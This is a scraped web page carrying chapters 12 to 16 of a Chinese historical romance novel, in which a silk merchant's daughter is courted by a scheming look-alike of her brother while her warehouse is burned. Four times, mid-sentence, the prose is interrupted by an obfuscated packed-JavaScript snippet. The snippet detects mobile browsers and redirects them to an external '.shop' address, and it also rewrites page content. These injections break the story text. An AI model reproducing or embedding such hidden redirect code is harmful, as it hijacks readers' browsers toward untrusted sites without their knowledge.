长靴停在了青石砖上,温晏缓缓地回头,不合时宜的长风一阵呼啸,便将那遮挡面容的幕篱吹了开来,露出有着透骨之冷的寒泉似的眸子。 一路上,聂妩不断地叹息着,如此好的良机,姑娘何必迟疑呢,左右又没人知道。 “虽然我都知道。”裴明绘摇着头,紧紧抱着方才买的白狐狸皮,脑海中还是不断浮现出“但是我总觉得他不太像好人。” 聂妩闻言,噗嗤一声就笑了出来,这一笑就止不住了,直直将眼泪就笑了出来,扶着裴明绘的肩膀直直笑弯了腰,惹得周围行人用怪异的目光看她。 “姑娘。”聂妩擦去眼泪,“我当时是什么呢,原来为着这个。” “你笑什么。”裴明绘顿时就察觉出来聂妩是在笑她,没好气地推了她一下,“人不可貌相,虽然他同我哥哥模样一样,但他绝对与我哥哥是不一样的。” “是啊。”聂妩搭住裴明绘的肩头,愉悦地一挑眉,“是啊,裴大人在你面前可是好哥哥,在别人面前,可就不一样喽,他往有些人跟前一站,就恨不得把他们都吓死。” “我哥哥哪有那么吓人。”裴明绘登时不满,“是他们自己不行好事,做了亏心事,他们不被吓死也得被关大狱里头去。” “是啊是啊。”聂妩歪着头,笑嘻嘻地看着已然蹙了眉的裴明绘,“公子乃是天下第一好哥哥,你这个好妹妹自然得夸他了,哈哈。” 眼见裴明绘恼了,聂妩赶忙跑了,过了一会儿,又自己折返回来,又亲亲热热地拉着裴明绘一同回了府。 “果然小雪时节的狐狸皮最好,这皮毛上没一点杂质。” 裴明绘坐在床榻上,背靠着檀木雕花的围栏,正注目凝神地穿针引线将已经处理好的狐狸皮缝上光滑顺手的白色里布,银针带着白色的线游刃有余地穿梭着。 “外头都道我们明月坊绣工最好,他们哪里只好,我们最好的绣娘竟然是我们明月坊当家的。” 聂妩又凑了过来,就被裴明绘把脸推开了。 “那等我将狐裘绣好,我就去长安。”裴明绘笑了起来,“不知道哥哥看见我,会不会很高兴。” “自然了,这哪里用说。”聂妩坐在裴明绘一旁,“我觉得啊,公子只有姑娘在身边的时候,才是开心的。” “走之前,要不要去看看温公子。” 裴明绘的针线一顿,沉默了一会,然后点了点头。 “听说他还病着,你去将库房里取些补品出来罢,对了,在将那颗老参也一并拿来。”裴明绘微微笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363722|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,“也该当去看看他的。” 日落时分,太阳的余晖将这静谧的小院照出一片温暖的橘红来,尚在屋檐上的积雪一片晶莹剔透,小厮正在庖厨煎药,一听外边的三声敲门声就风风火火地去开门了。 “来了!” 他自打庖厨出来就高兴地喊了一声。 似乎听到了外头的声音,屋子的门也被缓缓推开了,那青色的身影便出现在冷而艳的夕阳之下。 “裴小姐。” 他温文尔雅地向裴明绘一躬身,颇具儒雅气质。 裴明绘也向他颔首致意。 温晏的目光落在这个温柔美丽的女子身上,看着夕阳的金线带着来自那可老槐树之枝条总纵横的阴影落在她的身上。 “公子可用药了?”裴明绘将锦盒放在了一旁的小厮手里,嘱咐他去煎好送过来。 “是。” 小厮风风火火地去了。 聂妩见裴明绘似乎起了点心思,遂笑呵呵地站在院子里看太阳落山,听雀鸟啾啾去了。 “尚未用药呢。”温晏似乎永远都是温柔的,他唇畔的笑意似乎永远都在这个弧度,“多谢裴小姐关心,如今天气冷,风也愈发得紧,小姐来时,还是要多穿些衣服才时。” 裴明绘的目光放在了他的脸上,夕阳的暖光透过直棂窗,落在他的身上,这斑斓交错的光彩,模糊了他一般的容颜,这般恍惚与模糊之下,竟像极了裴瑛。 怎么何必执拗于一段根本不可能的感情呢。 老天既然将这位温公子赐给她,她为什么就不能坦然受之。 放弃奢望罢。 心思既定,裴明绘倏然展颜一笑,她本就侧身站在窗子边上,金灿灿的光为她的笑颜镀上一层朦胧的金边。 忽然,一双带着暖意的手搭上她的乌黑浓密的发。 裴明绘抬起眼来,正好对上他的眼睛,恍惚间她似乎看见了裴瑛,似乎他就是裴瑛,而不是别人。 “小姐的发乱了。” 修长的手将她的头发拢在耳后,裴明绘的目光跟随着他的动作偏移,他手指上的薄茧激起她心中的一片波澜。 “小姐……很美。” “别叫我小姐了。” 裴明绘强压下心中的悸动,抬起眼来看向温晏,金光浮动在她修长的眼睫之上,格外漂亮。 “叫我子吟罢。” 子吟,是她的字,这个字,是裴瑛在她及笄之年为她取的。 “子吟。” 好听的嗓音慢慢地将这个两个字念了出来,尾音微微放轻,像是被风带走了一般。 不像,不像…… 巨大的失落笼罩在裴明绘的心头,可是她依旧笑着。 “那姑娘也不要叫我公子了。”那双大手轻柔地捧住她的侧脸,夕阳的余晖渐渐消散,烛火的光渐渐占据上风,“叫我重明罢。” “重……” 可是只念出一个字,裴明绘心底的不安却又随着冷风呼啸而再度掀起波澜。 她看着眼前近在咫尺且愈来愈近的面容,心里打起了鼓。 那么像,却又那么不像。 药香一步一步迫近,温热且轻柔地呼吸也愈来愈近。 裴明绘的目光却在他漆黑的眸子里,她看着他眼中自己的倒影。 13. 第 13 章 “重……” 可是只念出一个字,心底的不安却又随着冷风呼啸而再度掀起波澜。 那只白玉似的手也抵在了温晏的唇,裴明绘微微偏过头去。 “天晚了,我……我先回去了。” 温晏说要送她,却又被裴明绘拦住了,她自己系上斗篷,戴上兜帽,而后又回头看了他一眼,黑色的眸子满是欲语还休。 “我……改日在来看你。” 温晏依旧微笑着看着她,“好。” 等到外面的身影在也看不见,温晏那标准合度的笑意缓缓消失,时时盈在眸中的和善与无辜也随着夜色的蔓延而消失殆尽。 他转身走进屋中,小厮此时也将药都煎好了。 他随意地一挥手,便让小厮下去了。 修长的手指将拿起陶碗来,而后这煎了许多时候的珍贵汤药就被毫不流连地倒进了盆栽里。 * 又是一日大雪翻飞,四面围得严实的辎车冒着大雪回到了河东安邑。 聂妩赶忙冒着鹅毛似的大雪将裴明绘扶到了屋中。 卧房里的大燎屋生得火热,裴明绘的手却冷得厉害。 她面色苍白,失魂落魄地缩在被褥里。 “你这又是何苦呢。”聂妩气极,“你若这般失魂落魄,我今儿就告诉公子去,拚了命我也要撮合你们。” “你别告诉他。”裴明绘的泪水如同断了线的珍珠,“我不能……失去他。” 在裴明绘心中,没有人比得上裴瑛,可是越是重要,就越不能失去,裴瑛若不是她如此重要之人,她又何苦如此为难。 裴瑛若是知道,他一直用心呵护的妹妹,对他竟有这样的心思,裴明绘简直不敢想,他到底会怎么样。 窗外雪势稍减,细微的声音如同春蚕吐丝。 “你啊你。”聂妩在裴明绘身前跪坐下来,认真地看着她,“既然如此,就忘了他罢,只把他,当你的好哥哥。” 好哥哥三字咬字极重,同时燎炉里猛然爆起一个火花来,顿时便将沉湎于痛苦与噩梦里里的裴明绘惊醒了。 “天地祖宗在上,我裴瑛今日起誓,此生此世定然护得妹妹无忧,若违此誓,当下黄泉地狱,永世不得解脱。” “只是哥哥,只是妹妹。”她茫然地摇了摇头,数年前那铮铮誓言犹在耳畔,一个字一个字地砸碎她所有的痴心幻想。 “有酒吗?” 裴明绘无力地靠在床榻围栏之上,黑色的发髻松散开来,如同流泻的黑色瀑布,间有一缕小溪似的发流淌下来。 长长的睫羽坠着盈盈泪光,随着泪水的不断积蓄,终是不堪重负,坠落下来。 聂妩取了温好的酒来,为她斟了半爵。 纤细苍白的手将花纹繁缛富丽的吉金色青铜酒爵拿了过来,仰头便是一饮而尽,澄黄色的酒液顺着她优雅白皙的脖颈流淌下来,在流进胸口之时却又被聂妩拿着帕子擦掉了。 裴明绘想要在喝时,却发现酒爵里没有酒了,便将酒爵随手一丢,便将锦被一掀,赤着脚就下了榻。 她讲酒壶中的酒又是一饮而尽,因为喝得太急,直呛得她咳嗽。 相见不得语,黯然倍伤魂。 长眠不愿醒,独作相思梦。 聂妩见裴明绘如此迷离惝惚之态,定然尚公主之事是有准信了,她想说什么来安慰她,却一时找不到好的话来说。 “子吟怎么喝这么多的酒。” 恍惚之下,裴明绘似乎听见了裴瑛的声音,她一回头,便看见裴瑛站在不远处,泪水模糊了他的身影,叫她看不清楚他的样子。 “难道……我就不能喜欢你吗?” 她哽咽着哭泣着,想要寻求他的答案。 此时天如墨水如天,裴瑛原本的笑容似乎瞬间凝固了,而原本盈着笑意的眼眸瞬间涌起了厌恶的波澜。 “不,我不是这个意思,哥哥,我不是这个意思。” 她顿时惊慌失措,瞬间便惊醒过来,此时天已经黑透了,只有外头风雪交加的呜呜声。 她一看,便见聂妩睡在自己身侧,顿时蕴籍在心的惆怅与痛苦便消解了半数。 她抱膝在榻上,将头深深地埋在膝窝里。 他太重要了。 她决不能失去他。 她一生都做他的妹妹。 除此无他。 她穿上衣服,披上狐裘,提起一盏风灯,瞧瞧地出了门。 子夜一刻,街道只有冷风急雪肆无忌惮地穿梭在巷子里,卷起雪沫呼啸,复落复起没得停歇之时。 裴明绘停在小院门前,抬起了手,修长的指节屈起,想要落下去,可是却迟迟落不下去。 就在她在院门前踟蹰了半晌,最后准备离开之时,大门却吱呀一声打开来。 “子吟怎么在这儿?” 关切的声音传来,裴明绘骤然回头,越过飘飞的大片雪花,看向了那青色袍子的公子。 “我……”裴明绘一时语塞。 温晏一笑,遂接过裴明绘手中的风灯,一只手拉着她冻得冰凉的手,将她拉进了屋子里。 “我知道,子吟是来找我的。”温晏替她倒上一盏热茶,回首冲她狡黠一笑,颇有少年人的意气风发。 “重明说的对。”裴明绘接过茶来,双手紧紧握着茶盏,热茶的温度透过茶盏传递到了她的手指处,一点点温暖她行将冻僵的手指。 她抬起头来,正好对上温重明的眼睛,许是灯火太过摇曳,她似乎觉得他的眼神竟然多了几分真诚。 她心中一动,遂展颜一笑,“我却是来找你的。” “一箭流光,欢盟不可误。” 他的嗓音骤然低沉下来,落在裴明绘耳朵里时候,心尖却麻麻的。 他也笑了起来,“果然,子吟没有骗我,那日说会来,今夜冒着风雪就来了。” 裴明绘骤然心虚起来,偏过头去,“是我……来晚了。” 或许,她本不该将她当做哥哥的替身,温晏就是温晏,裴瑛就是裴瑛。 “怎么会呢。”他笑了起来,“子吟是我的救星,没有子吟,便没有今日之我了。” 他的话仿佛极其惑人心,竟叫裴明绘那总是如石的心也软了下来。 就像是危险与激情并存,直叫人甘心溺死其间。 “你何必说这样的话。”裴明绘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377355|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩饰自己的心慌,“你不必因着我收留你而这般,等你好了之后,你……可自行离去,我……我会给你上路的盘缠。” “难道子吟想我走?” 那张形似裴瑛的脸骤然悲伤起来,裴明绘如何看得,赶忙道,“不……不是……” 窗外寒鸦扑飞,而后盘旋在飞雪急风里,叽叽喳喳地叫着。 “若你不赶我走,我何不会留在你身边。” 他的声音如同阴司地狱勾魂的钩子,叫人窒息的同时却又让人无比兴奋,不知不觉间便陷入已然布置好的陷阱。 “那……”裴明绘鼓起勇气,去直视“裴瑛”,袖中的手紧攥成拳,指节都泛起白,“那……” 温晏希冀地看着她,似乎等待着她接下的问题。 “我可以喜欢你吗?” 裴明绘艰难地直视着温晏,强迫自己不退缩。 温晏先是一愣,而后嘴角浮现了惊讶的笑意,而后一切都在这一笑之后化作如雾的情意。 “子吟若心悦我,此乃重明之大幸。” 等着裴明绘出来的时候,心里却不是纯然的高兴,更多的确实空落落的失落,就像眼前这迷蒙的雪雾一般,虽然不在呼啸着刮着风了,但是真个街头巷里都是白茫茫一片白。 她吐出一口气,白茫茫的雾气在空中消散开来。 就这样,挺好的。 就在她回府的时候,一骑黑色的快马自西城门而来,马蹄达达,一路扬起雪沫无数。 裴明绘驻足回首,信使已然勒马,黑色的骏马昂首嘶鸣,四蹄踢踏而后方才彻底停住。 信使翻身下马,先是向着裴明绘一拱手,而后便从身上的牛皮袋里取出一根泥封的铜管。 “这是裴大人的信。” 裴明绘原本浮荡在半空的心一下就踏实下来了,赶忙请信使进府喝了热茶,又吩咐管家送上一些银钱,而后才惴惴地回到自己的卧房。 她坐于卧房之中的长案后,用专门开启信件的小匕首将铜管的泥封挑开,而后从里面取出诸羽的信来。 她将卷成一卷的羊皮纸徐徐展开,而后细腻圆润的指尖将所有皱褶处都抚平,方才看了起来。 吾妹台鉴,见信如唔:今离府已有二月余,朝中事繁杂,总难脱身,望妹自安,近北方战事频仍,又有盐铁诸事陆续上马,兼之淮南国削二县,恐多处动荡。虽有诸多商事亟待子吟处理,但望以自身安危为重,若有要紧事物不能解决者,可与河东郡守杨安平商榷。 遒劲有力的大字赫然入目,宛若定心石一般叫她安心。 一遍未读透,裴明绘复又再读了一遍,一遍又罢,却未读出几两相思来,便觉不甘心,便又一遍。 这寥寥数语,却叫裴明绘翻来复去好几遍,她本是个过目不忘的人,眼下却是一遍又一遍。 指尖抚过字迹,她似乎都能想象他写这封家信的样子了。 裴明绘的心也随着他的来信而稳妥下来,她不由开始有些后悔自己一时的轻断了,而就在这个令人高兴又令人后悔的时候,聂无冒着大雪走了过来,还不待裴明绘给她分享自己的喜悦,聂妩带来的消息就直直将裴明绘惊得五雷轰顶。 14. 第 14 章 裴明绘的心也随着他的来信而稳妥下来,而就在这个令人高兴的时候,聂无冒着大雪走了过来,还不待裴明绘给她分享自己的喜悦,聂妩带来的消息就直直将裴明绘惊得五雷轰顶。 甚至顾不上打伞,二人直接冒雪一同去了城西的明月坊库房。 大火冲天,漫天的雪花如同飞蛾扑火一班扑向大火里,伴随着梁橼折断之声从熊熊烈火中传来,这座几乎积攒了明月坊半数积蓄的库房轰然倒塌,火星与雪花纠缠飞溅。 大雪纷纷掩埋了断壁残垣,一片凄凉景象则能言说。 裴明绘冷着脸,听着聂妩同负责仓储管理的执事汇报昨日的经过。 过了许久,裴明绘方才开口说话,“往长安明月坊加派人手,今日的明月坊被烧的报官府。” “到底是什么人,竟然下这么黑的手!” 聂妩义愤填膺,一拳砸在长案之上。 “总不会是我们对家罢。” 裴明绘摇了摇头。 接下来的这几天裴明绘与聂妩整个连轴转了起来,安邑库房被烧,且不说其中为着下次张骞出使西域而预备的精致绫罗绸缎,更有各分坊来岁大市之时所预备的各类绸布,都是最新的样式,如今这一场大火,直接损失高达三十万金,间接损失更是不可估量,作为汉朝属一属二的皇商,若只是银钱损失也就罢了,更重要的是,在这段长达空缺半年的空窗期里,属于他们的位置就会被虎视眈眈的同行刮分。 “此次失火定然不是天灾,而是人祸。” 裴明绘正所有损失,脸色也彻底阴沉下来,她将檀木算盘推到一边,将估算好的账册推到聂妩面前。 “明月坊失火,第一时间周围之人竟然没有察觉,而且大雪天,火竟然烧得如此旺,是因为这个……” 她将一块被帕子包好的东西递了过来,聂妩小心翼翼地将帕子解开,里面竟是一块烧得黢黑的木炭,显然是裴明绘从库房拿出拾来得,她起初并没有发觉什么,后来放在鼻间细细一嗅,登时眼瞳紧缩,震惊不可言喻。 浓烈的焦糊味里搀着了若有若无的油脂香气。 “如此行事,定然是买通了明月坊的人。”裴明绘的眉宇上渐渐浮现起了一缕忧思,“若是以往,因着我哥哥的缘故,没人敢这样行事,如今我哥哥尚未失势,依旧是深得皇帝信任,纵然那些同行们有想要将我取而代之的贼心,却也不敢在我哥尚有如此大的权利的时候得罪于他我哥哥可能陷入了麻烦,所以这些人才敢如此明目张胆。” 裴明绘有条不紊地分析着,思虑愈来愈重,很快就占据了裴明绘的心神。 “只有一点,就是有人要跟我哥哥作对,有人要违抗我皇帝的命令,叫我哥哥自顾不暇。” “长安正逢多事之秋,哥哥万不该为此事离京的。”裴明绘按了按眉心,一招手,聂无便心领神会地取了羊皮纸,将其展平在裴明绘案前,用一方漆黑镇石压住,提笔蘸墨,“明月坊卒然失火,恐为歹人施调虎离山之计,吾为哥哥计,当坐镇长安,可保一切无忧。” 她讲羊皮纸卷起,塞进铜管之后,用泥妥帖封好,交给信使。 “可恶!”聂妩气得发抖,狠狠骂了一句,“这群孙子也忒阴了。” 如此重大的损失,几乎凝结着聂妩全部心血的安邑明月坊一朝轰塌,她的心似乎也跟着一块塌陷了。 可是火灾已经发生了,损失业已无法挽回。 “昨日值守之人你等会去清点一下,问清其最近行止,然后可疑之人尽数领到我跟前来。还有附近的百姓,也派人挨家挨户去问问,夜来可有可疑之人出没。” “诺。” 聂妩领命之后没有耽搁,立即就出发了。 * 深夜大雪,车马不行。 安邑城郊,一农夫装扮的人艰难地跋涉着,而后到了既定之处,他搓着手缩着脖子,在此处等待着某人。 很快,簌簌冷风中,银光雪辉里,布衣斗篷随风而行,长靴踩进厚厚的积雪里,声音却被风雪掩盖。 “做的不错。” 柔美的极具蛊惑的声音传来。 那人猛然回头,原本的惊惧瞬间变为惊喜与谄媚,连忙冲着那优雅俊美的少年一躬身,“小的见过恩公。” “何必如此拘礼?”男子薄唇勾起,“你帮了我得大忙,今日一会,便是予你财货的。” 那人大喜,又是一躬到底,“谢过恩公,恩公之恩,小的永世难忘。小的自此愿为恩公效犬马之劳,为恩公驱驰。” 男子取下身上包袱,随意丢过去,那人赶忙接住,就在他背着身去解开包袱,被那金灿灿的黄金迷了眼睛之时,全然都不知道后面的人到底意欲何为。 男子勾起恶劣的笑来,长剑缓缓出鞘,他就这么走了过去,走到那人身前,倾身看向那人痴迷的脸庞,好奇地问道,“你可满意?” “满意满意。”那人忙不迭道,可是他的话刚说完,冰冷的弧光就已然闪过,笑意凝固在嘴角,脖子上横空出现一道血线,身子沉重地栽倒在雪地里。 “满意就好。”男子笑了起来,看着那人死不瞑目带着痴笑的脸,遂更加开心,冷风急雪里笑容艳丽与真切,像极了恶而不自知的孩童,“这样死了,也就没有遗憾了。” 修长的手指带着绢布抚过剑锋,而后满不在乎地让绢布一松,带血的绢布随时随风而去,舒卷摇曳着不知飘向何处。 “汝为棋子尔,何感以犬马自居之?”他嗤笑一声,遂转身离去。 * 今朝一场大火,明月坊的基业也就毁去了大半,也幸亏聂妩提议,将明月坊的大部积蓄转移到了长安,否则如此煌煌基业,就要于这一页间付诸东流了。 裴明绘心疼的,不只是存在里头的绫罗绸缎,而是里头各色样式与各色织机,乃她特意花费重金委托各通晓纺织的绣娘与名家工匠合力研究出来,乃是明月坊丝绢之要。今毁去,若再想东山再起,可就难了。 等到翌日清晨,裴明绘也就查到这场火灾里一个极为关键的人物。 当聂妩找到他的时候,他已经被杀死了,他的尸体横亘在出城的大道旁,被大雪掩埋,身上的伤痕便是那一道红线丝的伤口,眼睛睁得很大,唇畔的笑意在冰雪天的寒冷冻住了。 看来,他是受人之托,完命之后前去城外领赏,便被此人杀害了。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389694|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝痕迹也未曾留下。 此人并非明月坊要紧之人,裴明绘对他所有的认知,就是十日前明月坊发生偷盗一事,原本裴明绘要将其交由官府以儆效尤,偏偏此时温晏在她身旁,温晏一贯温柔良善,见此人磕头磕得满头是血,便请求饶此人一回,以示她宽大待人,以德服人,定能令众人服膺。 因着是温晏求情,又见此人磕头磕成如此凄惨模样,裴明绘一时心软,也就饶了他。 可万万不想,今日饶了她,却又酿成如此大祸。 可是令裴明绘不解的是,仅凭他一个人,又如何使明月坊在短短时间内就燃出大火而无人察觉,虽说丝绢易于燃烧,但是库房早就在建设之初就专门为着防火之事大作文章,莫说里面里各色防热隔间,就是形形色色的各式机光警铃,也足够给各库房执事们反应时间了,可偏偏所有的措施都没有用,偏偏又叫那贼人给库房的各处支撑的大梁浸了火油,如此种种,裴明绘终于将目光放在了自己一直颇为信任的老执事身上。 酉时三刻,大雪依旧纷纷扬扬,她们在黑夜中静静飞舞,像极了柳絮,像极了鹅毛。 裴明绘立即率领府兵围了老执事所居之处,火把如同涌动的荧火,浩浩荡荡地铺排开来。 门虚掩着,府兵一把就将门踹开,而后浓重的血腥之气传来,追随裴明绘十数年的老执事已经自刎于庭院之中了,鲜血浸透冰雪,而后又凝成冰。 所有线索就此中断,就算裴明绘搜查老执事庭院各处,也并未发现有任何可疑之处。 子时一刻,这场纷纷扬扬鹅毛似的大雪终于停歇了,就在裴明绘头疼的时候,管家说,一个带着帷帽的公子说是要来拜见小姐。 随着门吱呀一声打开,烛火也随着风摇晃着。 “是你。” 裴明绘着实有些惊讶。 “子吟。” 温晏摘下幕篱,缓缓走了过去。 “你怎么来了?” 裴明绘压下所有的情绪,每每当她看见温晏的时候,似乎都看见了裴瑛的影子,朦朦胧胧似是而非。 “许久不见你来,便想来见你。” 温晏的嗓音更加温柔,温柔得几乎要滴出水来,落在裴明绘的耳中,只叫她的耳朵都红了。 如此赤裸裸不加掩饰的情话,叫裴明绘的心直跳。 温晏的目光不动声色地落在裴明绘发红的耳朵尖上,嘴角勾起了一丝微不可查的狡黠微笑,而这屡怪异的微笑很快就被隐藏在他真诚且关切的话语里。 “你可曾想我。” 他像情郎一般宽慰着被诸多烦恼缠身的她,他熟稔地走了过来,跪坐到裴明绘身边,伸手手来扶住她瘦削的肩膀,而后将满腹惆怅的她揽入怀中。 裴明绘原本想说是的,可是话到了嘴边,却怎么也说不出来。 温晏垂眸看着靠在他怀里的女子,一抹冰冷的笑容随着烛花爆起一般转瞬即逝。 “你的情话倒是信手拈来。”她这么说。 “此非情话,而乃重明心中之话。”他的声音从头顶淡淡响起,裹着几分轻松的笑意,若是旁人听起来,那定然跟真的一样,“若有诓骗,我不得好死。” 15. 第 15 章 “我信你就是了。”裴明绘坐直了身子,转过头去,黑漆漆的眸子倒映着温晏的笑容,心中不期然生出几分愧疚来,“你们一个个,怎么都爱发这种毒逝,若真的应验了怎么办。” “左右我乃真心,何必惧他后果。”温晏的手虚握住她的手,眸光仿佛有实质一般,叫裴明绘心慌,可他的语调笃定又坦荡,恍惚间竟叫她听见了裴瑛的声音。 “此生,我最亏欠的人便是你了。若不能再护住你,我又有何种颜面苟活于世呢。” “我乏了。”裴明绘突兀地站起身来,额头一不小心就撞在了他的脸上,将他的脸一下子撞向了一边。 “你没事罢!”裴明绘赶忙捂住温晏被她撞到的地方,非常歉疚地说道,“我真的太鲁莽了,可将你撞疼了?” “没事。”温晏看着裴明绘这幅着急的样子,竟笑出了声,“我又不是泥做的,怎么可能一撞就撞坏了。” “又如何值得你为我担忧成这幅样子。” 他轻轻拢住她的手,却发觉她的手竟然异常冰冷,他遂低下头去,柔和地吐出气来,想要温暖她的手。 “手怎么这样凉。”他垂着头,抬起眼,低眉顺眼,分外有娇弱外室的风姿,只叫人看一眼,便生了攫取他滋味之心。 按实说,裴明绘本不喜男子有如此娇弱之态,但彼时,眼前的人,却顶着裴瑛的脸。 她呼吸一窒,黑色的眸子一动也不动地看着温晏。 温晏以缓缓仰起头来,以微末的距离不动声色地靠近着。 墨发落肩,眸间浮笑,这个如迷雾一般出现的男子似乎永远都是这般温柔,这般爱笑,他似乎永远都能体悟她,用自己的温柔,排解她的烦忧。 可他真的是这样吗? 不知从何处漏进来寒风,吹得满室烛火晃荡不息,连带着烛火光影也变幻不止,映在绝美的男子的身上,便是忽明忽暗。 时真时假,缥缈不定。 可就在他的气息越逼越近,这张脸上相似于裴瑛的地方仿佛越来越少,独属于温晏的颜色却越来越重。 临了之时,她终是偏过头去,他的吻堪堪停在她的脸侧。 “好了,子吟既然累了,我就先走了。” 肃肃衣衫摩擦之声后,温晏站了起来。 “雪重,我叫马车送你。” 裴明绘对于这个温柔可人的少年满怀歉疚,她本不该躲开的,可是她的身体超越了她的思维。 “子吟不必费心了。”温晏笑道,“路不长。” 裴明绘满怀歉疚地送走了温晏,刚一抬手竟然发现自己的手竟然有一些白的灰的东西,凑在眼旁细细去看,竟然是脂粉。 “……”裴明绘先是愣了愣,而后不可置信地哦了一声,而后眼中浮现出裴瑛端坐在镜台前描眉画眼的姿态,忍不住笑出了声,而后就一发不可收拾,直接就笑出了眼泪。 彼时门外的温晏刚走上廊道,他耳力看上去很好,除了静谧的长檐落雪之声,那笑声就直接传到了温晏耳中,原本从容的步子瞬间停住。 冷风吹起他的幕篱,露出蹙起的长眉与浮动着不解的双眸,可是最后随着幕篱的白纱落下,他只冷笑一声,掸了掸自己身上的雪粒,再度从容地离开了。 * 寒流依旧肆无忌惮地从北方来,呼啸着西北风驰骋在广阔的关中平原,一骑百人队自函谷关出来,马蹄踩过厚厚的雪泥,雪沫打着旋飘飞在半空里。 这注定是一个多雪的冬天。 虽然是午时一刻,但天际那厚厚的黑云密密麻麻地压来,又是一场铺天盖地的暴雪行将到来。 马队驰骋在长安往河东安邑的驰道,又是连续三个时辰的奔驰,马队便到了安邑城墙之下。 就在此时,关闭城门的悠长号角响起,垛口士兵的喝城声在冷冽呼啸的东风里被搅得此起彼伏若隐若现,城头的大汉旗帜也结上了厚厚的冰,再也不能自由地跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410097|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长风舒卷。 城头喝声再度传来,“城门将闭,行人止步,鸡鸣开城!” 眼见话音刚落,安邑城的城门就要轧轧关闭,就在此时,黑衣马队为首之人倏然亮起出力黑玉令牌,同时冷冽的声音穿透了风雪。 “城门吊起,长安来使!” 片刻之间,百人骑的马队便凤一般地卷到了城楼下,负责勘验来使的城门楼一间黑玉令牌,登时一路小跑到马队为首之人的面前,一躬身,而后接过令牌之后,勘验完毕之后历经再度躬身,而后转过头高声道,“长安来使,开城门,行人闪开!” 为首之人再度一挥缰绳,黑色的骏马便扬开四蹄飓风一般入了城。 大雪纷纷,雪深路难行,故路上行人稀少,一见如此阵仗,纷纷驻足,看向这风驰电掣的马队。 郡守府邸面前,已过天命之年的杨安平得城门吏通报,早早就守在府门前,一见百人骑士队的身影,赶忙下阶迎了过来。 “下官见过裴大人。” 修长优雅的手猛地一勒缰绳,原本疾驰的骏马变作从容走马,等黑色骏马到了府邸前,骏马之上的披着黑色披风的男子利落翻身下马。 黑色的军靴踩过雪泥,冷风吹起男子的黑色披风,宽大的黑色兜帽之下露出锐利的下颌线,以及那冷冽的薄唇。 男子随即命令百人队于府外列队等候,而后便一路进了郡守府邸。 冷风呼啸,风灯摇曳,照在廊上檐下一片光影变幻,男子步履稳健,大步走入院中,穿过专门清扫出来的白石砖路,而后进了正堂。 “下官知道大人乃是为着裴小姐之事而来,故而早就将关涉明月坊的各类案宗归总好了,只待大人查阅。” 手指搭上帽檐,宽大的落着冰冷雪花的黑色兜帽被摘下,裴瑛的目光是扫过堆积的长案之上的卷宗,而后嘴角便噙上一丝和善的笑意,他向着杨安平一拱手,温和道,“多谢大人照拂小妹,玄则有礼了。” 16. 第 16 章 兜帽被摘下,裴瑛的目光是扫过堆积的长案之上的卷宗,而后嘴角便噙上一丝和善的笑意,他向着杨安平一拱手,温和道,“多谢大人照拂小妹,玄则有礼了。” 杨安平一见位列三公的裴瑛竟然如此恭敬,忙不迭还礼,“裴小姐乃是我安邑大商,于安邑商事民生大有助益,又兼之裴小姐乐善好施,前日明月坊库房突遭横祸,下官身为河东郡守,理当查清此案。” “只是此案实在蹊跷,一时头绪繁杂,难以查清。” 杨安平一时也大见为难,虽说裴瑛曾嘱托河东郡守杨安平多为关照,但到底此案牵涉太多,一时难以查清,原本他已经派出许多郡守府干员,但不成想裴瑛竟然会冒雪前来。 裴瑛再度微笑拱手,“此间难处,玄则明白。” 杨安平见状,连忙虚手,将裴瑛请了上座,而后自己则站在长案前,将几卷要紧的案宗摆了出来。 裴瑛一目十行地将案宗上内容都浏览完毕,当卷宗上“疑为亲近者陷害之”几个字时,裴瑛的眼神倏然暗了下来。 “亲近者?” 裴瑛的目光放在了杨安平身上,手指无意思地摩挲着版牍。 